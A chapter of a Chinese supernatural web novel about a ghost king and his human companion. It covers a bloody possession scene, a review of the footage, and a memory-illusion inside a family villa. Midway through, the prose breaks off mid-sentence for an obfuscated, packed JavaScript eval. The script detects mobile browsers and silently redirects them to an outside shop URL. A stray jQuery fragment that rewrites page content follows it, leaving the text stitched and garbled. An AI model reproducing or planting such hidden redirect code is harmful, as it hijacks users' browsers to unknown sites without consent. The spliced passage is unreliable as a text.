里面打斗声戛然而止,牛头马面开门确认,舍楚焦急往里看。
原本在收藏柜里的艺术品打翻在地,红色剪纸铺在地上像一条血河,蔓延到中心的鬼王。
涂倪杉身上的白衬衫破了,有一道喷溅式血液延伸到脸颊,垂在腿边的手往下滴血。
舍楚瞪大双眼,袁茂跪在涂倪杉正对面,脖颈处插着一把长刃状的陶罐碎片。
牛头马面波澜不惊地处理袁茂身上的鬼气,涂倪杉将袖子卷到手肘,蹲在小孩鬼身边,单手扶在小鬼透明的脸上,闭上眼,十秒后,小孩的身体慢慢消失。
舍楚怔怔地看着一地狼藉,张了张嘴,他第一次见到如此惨状的收鬼现场。
涂倪杉走到他旁边,轻轻地把手搭在他的肩膀,扯出一抹笑,道:“胆子挺大。”
舍楚好像突然找到力气,往后踉跄一步,涂倪杉说:“演我啊。”
涂倪杉这状态开不了车,牛头马面送两人回去。
舍楚心中后怕,“袁茂的尸体放那没事吧,警察调监控会发现啊。”
涂倪杉坐在副驾,一只手揉太阳穴,语气疲惫道:“我是鬼,监控拍不到,你们的监控牛头马面会删掉,是他半夜潜入仓库想偷走陶罐,被鬼附身自我了断。”
舍楚扶涂倪杉回房间,“把我丢到床上。”
舍楚把满身是血的涂倪杉放到沙发上,涂倪杉想躺,被舍楚薅起来,让涂倪杉坐直,检查涂倪杉受伤处。
“别搞我了,我要睡觉。”涂倪杉嗓音黏糊。
舍楚轻声道:“换个衣服再睡。”
涂倪杉的脑袋歪在舍楚颈间,血腥味包裹两人,舍楚轻手的搭在涂倪杉的背后,是人的体温,涂倪杉突然在舍楚耳边说了一句话,舍楚一怔,一动不动。
良久,舍楚小声地喊了一声涂倪杉。
涂倪杉没应,舍楚把涂倪杉身上的脏衣服脱了扔地上,给受伤的手包扎好,端水给涂倪杉简单擦身,换上干净睡衣,扶他回床睡。
全部搞完他也累了一身汗,在浴室洗个澡,下楼买了瓶消毒液,把脏衣服泡了。
关上客厅的灯,舍楚从冰箱拿出一瓶冰水,坐到沙发,陷入回忆。
“明明,妈妈不喜欢你这个姓,长大后妈妈给你改名,你跟妈妈姓好不好。”
“别哭!!明明,别怕,去躲起来,妈妈在,妈妈来解决。”
淡雅地栀子花香味飘过来,茶几上的矿泉水瓶倒了。
舍楚下意识往阳台看去,橘猫的竹筐前后摇晃。
不知不觉在沙发上睡着了,舍楚醒来看见橘猫的胖脸。
“流口水了,大哥。”白虎星君嗅舍楚鼻息,幽幽地说。
舍楚擦了下嘴,视线再看阳台,怀疑昨天可能是梦,他懵懵地揉橘猫的脑袋。
牛头马面把一个三明治放茶几上,“局长还没醒。”
舍楚洗漱完出来,牛头马面正在整理昨晚资料,他拿起三明治吃。
橘猫抖了抖身子,说:“说说吧,看样子你们损失惨重。”
牛头马面打开录屏,投屏到电视上。
快进前面涂倪杉正常地和陶罐中的鬼说话,双方在试探对方底细。
到袁茂闯进屋,视频速度正常,陶罐中的鬼像找到心仪人选一样,忽然躁动起来,冲过去附身袁茂,两人在原地没说几句话,就开始大打出手,涂倪杉好似被戳到痛处,却又顾及到袁茂人类身体,没下死手。
人类体能始终不是鬼王的对手,袁茂后面的动作越来越拖沓,又一次被打倒在地连续翻滚几圈,恶狠狠地盯着涂倪杉,突然,整个人冲向小鬼,涂倪杉情急之下,打碎陶罐保护玻璃罩,陶罐落地摔碎,涂倪杉从袁茂手中救下小鬼。
袁茂拾起地上的陶罐碎片,涂倪杉把小鬼放地上,判断袁茂攻击方向,可下一秒碎片扎入颈部。
橘猫出声:“就是这里!”
牛头马面暂停,橘猫:“往回倒点。”
画面停在袁茂断气,袁茂油腻的脸狰狞的扭曲,在这张脸上,有另一张模糊的脸。
“是男人。”橘猫说。
牛头马面说:“小鬼的爸爸吧。”
“小鬼呢?”橘猫问。
舍楚看向牛头马面,牛头马面说:“小鬼本身年龄小在人间停留太久,加上恶鬼索取他的鬼灵,维持不了他的鬼魂,散了。”
“没有找到妈妈也会投胎吗?”舍楚捏了捏三明治,轻声道。
牛头马面否定:“不是投胎,是魂飞魄散。”
舍楚神情有些低落。
橘猫“啧”声,“只能算他倒霉了。”
“现在陶罐没了,越祺瑞家里的鬼更厉害了,怕不是我连门都进不去。”橘猫一脸愁容。
卧室门开了,涂倪杉从里面走出来,伸懒腰露出一截胯部紧实肌肉。
牛头马面递过去一杯水,涂倪杉说:“这陶罐是保护越家的作用。”
橘猫:“怎么可能,那为什么要攻击你和小鬼?”
“他的执念是家人,附身的不是他,而是袁茂自己的鬼魂。”
“稍等,我捋一下。”橘猫打断,牛头马面在一旁记录。
涂倪杉坐舍楚旁边,顺手拿走舍楚手中的三明治咬了一口。
“你的意思是,袁茂进去看见鬼,被吓死了,陶罐里的鬼不想轮回,附身在袁茂身上,但袁茂本身的鬼魂变恶鬼,又顶号了,是这样吗?”
涂倪杉吃完最后一口,点头道:“差不多。”
“我滴乖乖,玩套娃呢。”
“他不让我们上二楼是识别到我们是异类。”涂倪杉转头问牛头马面,“这种算缚地鬼灵吧。”
牛头马面扫描越家别墅,屏幕里整栋别墅被淡蓝色雾气笼罩。
橘猫靠近蓝雾,“彻底进不去了是吧。”橘猫试探性伸手,意外的穿入,他跳进去。
涂倪杉见状,走进蓝雾,这次舍楚被拦在外面。
里面还不知道什么情况,涂倪杉笑道:“这下好了,人类禁止踏入,你只能在外面直播了。”他抬起受伤的手轻轻捏了下舍楚的脸颊。
舍楚看着他们进去。
别墅外多了两块花圃,里面的郁金香长得正茂盛,身后有脚步声,两个人抬着比人高的木箱直接穿过涂倪杉的身体。
意识到这里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17828119|211285||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不是现实,大门打开,从里面走出来一个女人,女人身穿白色连衣裙,黑长发温婉地散在耳边,笑容恬静,两个搬货的人听女人说话,点头往里搬。
“迢迢,现在不能拆生日礼物,妈妈带你出去玩。”
男孩小跑出来,笑声天真烂漫,蹲在郁金香前,稚嫩地小脸洋溢喜悦。
女人走过去,用手帕擦男孩脚上皮鞋的土。
“去买蛋糕好不好,迢迢今天可以吃甜食,想吃什么味道的?”
男孩牵妈妈的手,像兔子一样跳着走。
涂倪杉眼神流转在小鬼身上,感受到有东西滴下来,紧接着第二滴,阵雨说来就来,三人跑到屋檐下躲雨,屋里响起争吵声。
“我已经报警了!你还真信那个男人说拿到钱就放了迢迢?”
“你冷静点,迢迢丢了我比你还着急,不管那人是谁,顶多要钱,我们给钱就行了,别闹大搞不好会对集团不利——”
“越祺铭,我不管你在外面得罪了什么人,我现在要迢迢回到我身边,我要他!!”女人拢了拢头发,嗓音气愤到撕裂,下一秒哽咽,“今天是他4岁的生日,他……他早上还……”女人深吸口气。
雨越下越大,警察来了,越祺铭用妻子精神不好为借口打发警察走了。
天气突然放晴,烈阳高照,涂倪杉脱掉外套。
越祺铭从别墅出来,急迫道:“发我一个位置。”
女人跟出来,身上还穿着那件白色连衣裙,“我跟你一起去接迢迢回家。”
男人安抚憔悴的妻子,“我让管家去买蛋糕回来,你在家等我回来,我们一家重新给迢迢过生日。”
花圃中的郁金香飞速枯萎,一个十四五岁的少年站在别墅阶梯上,橘猫向前走几步,蹲坐在少年正对面,少年眼神在那一处停留几秒,闪过迟疑。
下人拘谨地看少年一眼,少年冷淡地对下人说:“全部清理掉,还有屋里那些玩具,都扔了。”
视线突然模糊,随即变暗,涂倪杉一个人站在别墅二楼,无奈地望了望天,其实刚才他已经想起来小鬼的妈妈是他来人间第一天在警局的女鬼,给他玩偶,是要他帮自己找儿子吧。
涂倪杉莫名心虚,不仅丢了玩偶,小鬼还没了鬼魂,如果房间里是小鬼他爸,涂倪杉不知道怎么面对,自己从路人变主角,这剧本杀真够沉浸式的。
他穿上外套,好像学生见教导主任,他推门进去,这是小孩的房间,房顶落满星星镂空灯饰,窗帘薄纱带有星星图案,威风轻轻吹过,地上斑斑星点晃动。
床上躺着两个人,迢迢眨巴眼睛,听妈妈讲睡前故事。
原来不是现实,涂倪杉四处翻找,不小心磕到凳子,妈妈抬头,涂倪杉不动了,女人冲他一笑,涂倪杉顺着女人的视线向后看。
越祺铭走向床边,低头在女人和孩子的额头落下一吻,越祺铭牵女人的手,女人从床上下来,先一步出门,越祺铭慢步跟上去,在涂倪杉面前停下。
四目相对,越祺铭仍然身穿板正西装,只是周围环境经历岁月洗礼,充斥一股陈旧气味,星星窗帘泛黄,就连头顶的星星灯饰也暗淡了许多。